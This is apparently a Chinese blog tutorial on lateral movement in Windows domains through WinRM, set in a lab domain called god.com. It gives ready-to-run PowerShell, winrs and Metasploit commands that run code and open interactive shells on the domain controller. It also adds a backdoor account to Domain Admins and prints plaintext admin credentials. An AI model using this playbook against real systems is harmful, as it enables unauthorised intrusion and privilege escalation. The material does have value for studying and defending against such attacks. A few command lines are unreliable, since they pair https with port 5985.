内网渗透——WinRM横向

admin

102205
文章

87
评论

2023年5月18日09:04:49评论35 views字数 2756阅读9分11秒阅读模式

前言

内网渗透——WinRM横向

WinRM 是 Microsoft 对 WS-Management 协议的实现,WS-Management 协议即一种基于标准简单对象访问协议[SOAP]的 “防火墙友好” 协议,它让来自不同供应商的硬件和操作系统能够互相操作。winRM的默认端口为5985（http）或5986（https）。

winRM横向移动同时适用于工作组和域环境。

利用条件

内网渗透——WinRM横向

利用条件：1、win 2012之前利用需要手动开启winRM ，在win 2012之后(包括win 2012)的版本是默认开启的， 2、防火墙对5986、5985端口开放。

1：已经获取目标主机，或者是要打域控，域管账户明文密码的情况下 2：开启了5986 或 5985 命令：netstat -ano |findstr 5985 或 nmap -p 5985,5986 -sV 指定IP 3：在已拿下的主机上设置（启动WinRM服务，默认是启动的，因为当前是版本是win10，但最好是再使用下以下命令）：命令一：winrm quickconfig 命令二：winrm set winrm/config/Client @{TrustedHosts="*"; AllowUnencrypted="true"}

内网渗透——WinRM横向

环境介绍域：god.com域控：win2012 godadministrator  aA123456@@@    192.168.29.176域管用户：godkey  qweQWE123@域用户：Win10   godtest     yangxu123@         192.168.29.177注：实战中获取域管用户密码通常通过内存导出，进程注入，密码爆破，漏洞利用等方式进行获取

拓展：（添加域控命令）net user key qweQWE123@ /add /domainnet group "Domain Admins" key /add /domainnet group "Enterprise Admins" key /add /domain
查看域管，成功将Key添加为域管用户net group "domain admins" /domain

利用方式

内网渗透——WinRM横向

Powershell执行
1：Invoke-Command -ComputerName TARGET -ScriptBlock { dir c: }        【工作组使用】//命令执行
2：Invoke-Command -ComputerName TARGET -Credential 域名用户名 -command {Get-Culture}  【域环境使用】//命令执行
3：Invoke-Command -ComputerName TARGET -Credential 域名用户名 -ScriptBlock {Get-Culture}    【域环境使用】//命令执行
3：Enter-PSSession -ComputerName 192.168.29.176 -Credential godadministrator 【域环境使用】//返回交互式shell

实例2：

Invoke-Command -ComputerName 192.168.29.176 -Credential godkey -command {whoami}

内网渗透——WinRM横向

实例3：

Enter-PSSession -ComputerName 192.168.29.176 -Credential godkey  【交互式Shell】

内网渗透——WinRM横向

CMD执行1：winrs -r:http://192.168.29.176:5985 -u:用户名 -p:qweQWE123@ "ipconfig" 【5985用http】
2：winrs -r:https://192.168.29.176:5985 -u:用户名 -p:qweQWE123@ "ipconfig" 【5986用https】
获取交互式shell
3：winrs -r:http://192.168.29.176:5985 -u:域名用户名 -p:qweQWE123@ cmd  【5985用http】
4：winrs -r:https://192.168.29.176:5985 -u:域名用户名 -p:qweQWE123@ cmd 【5986用http】

实例1：

winrs -r:http://192.168.29.176:5985 -u:key -p:qweQWE123@ "ipconfig"

内网渗透——WinRM横向

实例3：

winrs -r:http://192.168.29.176:5985 -u:godkey -p:qweQWE123@ cmd

内网渗透——WinRM横向

MSF 使用流程

1、检测

use auxiliary/scanner/winrm/winrm_auth_methodset domain god.comset rhosts 192.168.29.176exploit

内网渗透——WinRM横向

2、确定我们获得的管理员凭据是否对其系统有效

auxiliary/scanner/winrm/winrm_loginset domain god.comset username keyset password qweQWE123@set rhosts 192.168.29.176set rport 5985

内网渗透——WinRM横向

3、利用当前管理员凭据对目标主机win2012是有效的。确定凭据有效后，尝试对目标主机win2012执行命令

use auxiliary/scanner/winrm/winrm_cmdset rhosts 192.168.29.176set DOMAIN god.comset USERNAME administratorset PASSWORD aA123456@@@set CMD ipconfig   【需要执行的命令】